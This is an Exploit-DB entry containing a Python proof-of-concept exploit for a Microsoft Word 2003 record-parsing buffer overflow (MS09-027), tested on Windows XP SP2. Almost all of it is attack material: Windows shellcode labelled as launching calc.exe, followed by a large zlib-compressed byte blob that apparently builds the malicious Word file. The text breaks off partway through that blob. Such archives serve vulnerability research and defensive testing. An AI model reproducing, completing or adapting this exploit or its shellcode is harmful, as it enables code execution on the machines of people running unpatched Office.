Exploit-DB #14693
Description: Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
Type: local
Platform: windows
Date: 2010-08-20
Author: anonymous

Exploit:
#MS Word Record Parsing Buffer Overflow(MS-09-027)
#Vulnerble application MS office 2003
#Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606
#Bug Found By Wushi of team509

#!/usr/bin/python


import sys
import zlib

#windows/exec - CMD=calc.exe
shellcode = (
b"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"
b"\x4C\xA8\x75\x76\x83\xC0\x04\x31\x50\x13\x03\x1C\xBB\x97\x83\x60"
b"\x53\xDE\x6C\x98\xA4\x81\xE5\x7D\x95\x93\x92\xF6\x84\x23\xD0\x5A"
b"\x25\xCF\xB4\x4E\xBE\xBD\x10\x61\x77\x0B\x47\x4C\x88\xBD\x47\x02"
b"\x4A\xDF\x3B\x58\x9F\x3F\x05\x93\xD2\x3E\x42\xC9\x1D\x12\x1B\x86"
b"\x8C\x83\x28\xDA\x0C\xA5\xFE\x51\x2C\xDD\x7B\xA5\xD9\x57\x85\xF5"
b"\x72\xE3\xCD\xED\xF9\xAB\xED\x0C\x2D\xA8\xD2\x47\x5A\x1B\xA0\x56"
b"\x8A\x55\x49\x69\xF2\x3A\x74\x46\xFF\x43\xB0\x60\xE0\x31\xCA\x93"
b"\x9D\x41\x09\xEE\x79\xC7\x8C\x48\x09\x7F\x75\x69\xDE\xE6\xFE\x65"
b"\xAB\x6D\x58\x69\x2A\xA1\xD2\x95\xA7\x44\x35\x1C\xF3\x62\x91\x45"
b"\xA7\x0B\x80\x23\x06\x33\xD2\x8B\xF7\x91\x98\x39\xE3\xA0\xC2\x57"
b"\xF2\x21\x79\x1E\xF4\x39\x82\x30\x9D\x08\x09\xDF\xDA\x94\xD8\xA4"
b"\x05\x77\xC9\xD0\xAD\x2E\x98\x59\xB0\xD0\x76\x9D\xCD\x52\x73\x5D"
b"\x2A\x4A\xF6\x58\x76\xCC\xEA\x10\xE7\xB9\x0C\x87\x08\xE8\x6E\x46"
b"\x9B\x70\x5F\xED\x1B\x12\x9F"
)



compressedfile=(
b"\x78\x9C\xEC\xBD\x77\x60\x54\xD5\xB6\x30\x3E\x69\x14\xAF\xF1\x7A\xBF\xAB\xCF\xFB\x7C\x4F\xDF"
b"\xDC\x0B\x57\x13\x9C\x84\x84\x84\x22\x78\x81\xD0\x51\x02\x48\xA8\x57\x11\x27\x33\x27\xC9\x90"
b"\x69\xCC\x99\x49\x88\x88\x8A\x82\x06\x0B\x52\x94\xAA\x82\x0D\x15\x1B\x55\x91\x2E\xF6\x46\x47"
b"\xBA\x20\x01\x02\xA1\x25\x04\x48\x9F\xFD\x5B\x6B\xED\xBD\x4F\x99\x0C\x3E\xEF\xFB\x7D\xDF\xF7"
b"\xD7\x17\x3D\xCC\xCC\x29\x6B\xEF\xBD\xF6\xDA\xAB\xEF\x75\x76\x6C\xFF\xD3\xB1\xD7\x57\xDC\xFA"
b"\xAB\x25\xE2\xAF\x9B\x25\xCE\x12\x66\xAD\x2D\x2D\x0C\xE7\x6E\x84\x23\xC6\xF0\x23\x56\xFC\x0E"
b"\x33\xC6\xE4\xE9\x22\x38\xCA\xE1\x08\xE2\x05\xB8\x21\x00\x07\x83\xC3\x1F\x67\xB1\x34\xC1\xD1"
b"\x29\xDE\x62\xE9\x0C\x47\x17\x38\xBE\x4E\xB0\x58\xBE\x81\xE3\x5B\x38\x46\xB7\x84\xFB\xFE\xDF"
b"\xDF\xFF\xF5\xBF\x26\x38\x3A\xC6\xF3\x39\xEC\x03\x73\x00\x53\x41\x73\x0E\x5F\x2D\xAD\xE0\x68"
b"\x0D\xC7\x75\x70\xFC\x01\x8E\xEB\xE1\x48\x84\xE3\x06\x38\xFE\x28\xE8\xE1\x4F\x70\xFC\x2F\x38"
b"\xFE\x0C\xC7\x4D\x70\xDC\x0C\xC7\xBF\xC1\x71\x0B\x1C\x7F\x81\xE3\xDF\xE1\xB8\x15\x8E\xFF\x80"
b"\xE3\x3F\xE1\xB8\x0D\x8E\xDB\xE1\xF8\x2F\x38\xAC\x70\xFC\x15\x8E\xBF\xC1\xD1\x06\x8E\xB6\x70"
b"\xFC\x1D\x8E\x3B\xE0\xB8\x13\x8E\x24\x38\x92\xE1\x68\x07\xC7\x5D\x70\xD8\xE0\x48\x81\x23\x15"
b"\x8E\xF6\x70\xA4\xC1\x91\x0E\x47\x07\x38\x32\xE0\xC8\x84\xA3\x23\x1C\x9D\xE0\xE8\x0C\x47\x17"
b"\x38\xEE\x86\xA3\x2B\xD1\xB3\xC5\x72\x0F\x1C\xFF\x80\xA3\x3B\x1C\x3D\xE0\xE8\x09\x47\x16\x1C"
b"\xBD\xE0\xE8\x0D\x47\x1F\x38\xFA\xC2\xD1\x0F\x8E\xFE\x70\x0C\x80\x63\x20\x1C\xF7\xC2\x71\x1F"
b"\x1C\x83\xE0\xC8\x86\x63\x30\x1C\x43\xE0\x18\x0A\xC7\xFD\x70\x0C\x83\x23\x07\x8E\xE1\x70\x8C"
b"\x80\x63\x24\x1C\xA3\xE0\x18\x0D\xC7\x18\x38\xFE\x09\xC7\x03\x70\x3C\x08\xC7\x58\x38\x1E\x82"
b"\x63\x1C\x1C\x0F\xC3\x61\x87\x23\x17\x0E\x07\x1C\x4E\x38\x14\x38\xF2\xE0\xC8\x87\xA3\x00\x0E"
b"\x17\x1C\xE3\xE1\x28\x84\xC3\x0D\x87\x07\x0E\x2F\x1C\x3E\x38\xFC\x70\x4C\x80\x23\x00\x87\x8A"
b"\x6B\x0E\x8E\x10\x1C\xC5\x70\xE0\xBC\x4E\x84\xCF\x12\x38\x1E\x81\x63\x12\x1C\x8F\xC2\x31\x19"
b"\x8E\xC7\xE0\x78\x1C\x8E\x27\xA8\xEF\x3E\xF8\x2F\x08\x73\xD1\x17\xE0\x06\x01\x16\x3E\xF1\xFB"
b"\xFF\xFE\x0D\x28\x46\xD2\x52\x1C\x9E\x68\x1D\x4B\xE7\xB7\xF0\xCB\xFD\x8C\xF7\x3E\x7D\xB2\xEE"
b"\xA3\x9A\xD6\xEB\x63\xF0\xBE\x2D\x2D\xF9\xB9\x18\xC0\xBC\x0F\x46\xE5\x07\x8C\xE6\xD2\x48\xFF"
b"\xB5\xBF\xFF\x65\x89\x8D\x31\xD2\xF3\xEF\x7D\x2E\x57\x7C\x8E\x82\xD6\x03\x80\xF9\x3E\xF0\xE9"
b"\x00\xEC\x79\x60\x06\xBC\x84\xC9\xDF\xF7\x77\xAB\x68\x1F\xD7\xC6\xEF\x6D\x1F\x96\x9B\xA5\xDD"
b"\x77\xAD\xE8\x3B\x1F\xB5\x02\x6D\x07\x81\x9E\x70\x2E\xDC\xBF\xBB\x6D\xFC\xFB\x37\x4B\x4C\x8C"
b"\x60\xB5\x04\x37\xDA\xDF\xD3\xF1\xF1\xEF\x21\xDE\xE5\x27\x9E\xDB\x93\x98\x79\x53\xCF\xF8\x3D"
b"\x89\x92\x7F\xC7\x89\xCF\x04\xF1\x89\xC7\xBF\xB2\xFE\xF1\xFE\x7F\x65\xFD\x87\xFF\xEF\xB0\xB7"
b"\xFF\xF7\xF7\xDF\xFC\xC5\xC0\x4C\xC4\x5D\x27\x68\x37\x62\xED\xE2\x7C\x65\xBB\x1C\x01\x9F\xEA"
b"\xCB\x0B\x5A\x47\xF9\x02\x4E\x6B\xA7\xD4\x34\x6B\x1F\x9F\x23\xE4\x51\xBC\x41\xA2\x8B\xEC\x1C"
b"\x3C\x0F\xA7\x88\x1A\xF0\x7B\xAA\xBC\x9E\xDA\x89\xC0\x44\xD3\x24\x62\x2C\x52\x93\x18\x24\xCF"
b"\xFC\xA5\x95\x25\x0E\x18\x70\x47\x60\xF8\x2F\x82\x00\x18\x7B\x4B\x73\x3A\x3E\x1D\xC7\x8F\x34"
b"\x00\xF5\x84\x20\xF6\x1B\x13\xF4\xEB\x3B\xFE\x05\x5D\xA6\xB5\xD6\x8B\xFF\xD3\xE3\xFF\xED\x5E"
b"\x59\x62\xE3\xFE\xA5\x7E\x5F\x6F\x31\xEB\x60\x00\xC1\x82\xFD\x8F\xFC\xC3\x7B\x8E\x4D\x5B\x7C"
b"\xA9\x6E\x48\xC1\x8D\xEF\xCF\x6A\x65\xB9\xEB\xCE\x55\x07\x50\x5E\x2E\x8F\xE5\xEB\x17\xD9\xEF"
b"\x7C\x38\x16\x3C\xA1\x58\xFE\xB1\xA5\x75\x3C\x4A\x7B\xC5\x08\x00\xF0\xBC\x76\xAE\xCE\xA7\x8C"
b"\x7F\x37\xCD\x02\xF9\x18\xCB\x65\x9A\xB1\x3D\xD3\xDF\x27\xAD\x2C\x2D\xE2\xF4\xCF\x16\x9F\xB5"
b"\x22\xBE\xF0\x9F\xF0\x89\x7C\xA2\x74\x3D\x87\x6B\xFC\xC4\xF3\x5B\x37\xB4\xB2\x5C\x1F\xC7\x3F"
b"\xF1\x6F\xDB\xE6\xE6\x9F\xC8\x57\x4E\xC1\xE7\x42\xF8\x7C\x62\x4B\x2B\x92\xE3\xF2\xFE\xD4\x6F"
b"\x5B\x91\x9C\xDD\x02\xE7\x97\xC2\x67\xDE\xE7\xAD\x48\xFE\x2F\xF9\x9C\x5F\x8F\xF6\x19\x86\xCF"
b"\xD7\xB6\xB6\xB2\xBC\x04\x9F\x1D\xBE\x68\x45\x34\x79\xFC\xAB\x56\xC4\x53\x4F\x7C\xC5\xEF\x33"
b"\x7E\xA2\x1E\x72\xE3\xD7\xAD\x68\xD0\x37\x7E\x23\x3E\xA1\x5D\xE4\x6B\xCF\xC2\x27\xEA\x01\xBF"
b"\x7C\xCB\xE1\x60\x7F\xA2\xFD\xC9\x71\x3F\xF6\x85\xBC\xDE\x25\xFE\xFE\xF8\x7F\x07\x9A\x8A\xEC"
b"\x61\xE4\x9F\x7C\x42\x7E\xCA\x16\xE4\xEF\x91\xEB\x5A\x91\x24\xF8\x27\x7C\xB6\xFA\x0D\x38\x88"
b"\xA1\x68\xF0\x22\x3F\x65\x4F\x25\x9C\xC8\xDF\xC7\xBF\x8A\x0E\xFF\x15\xB8\x0F\x35\x95\xEB\x60"
b"\x66\xD6\xC2\x67\xDA\x67\xFC\xF7\x6B\x9F\xF1\xDF\xB9\xEB\xF8\xEF\x1D\xEB\xF8\x6F\xD9\x9E\x84"
b"\x87\xBF\x9D\xB1\x46\x0C\xFD\x9F\xF8\x4B\xC4\xBF\xDE\x03\xB2\x86\x0E\xEF\x3B\xCC\x9A\x01\xDF"
b"\x87\x0C\x1D\x3E\xB0\x77\xD6\x20\xAB\x35\x67\xF8\x90\x61\x59\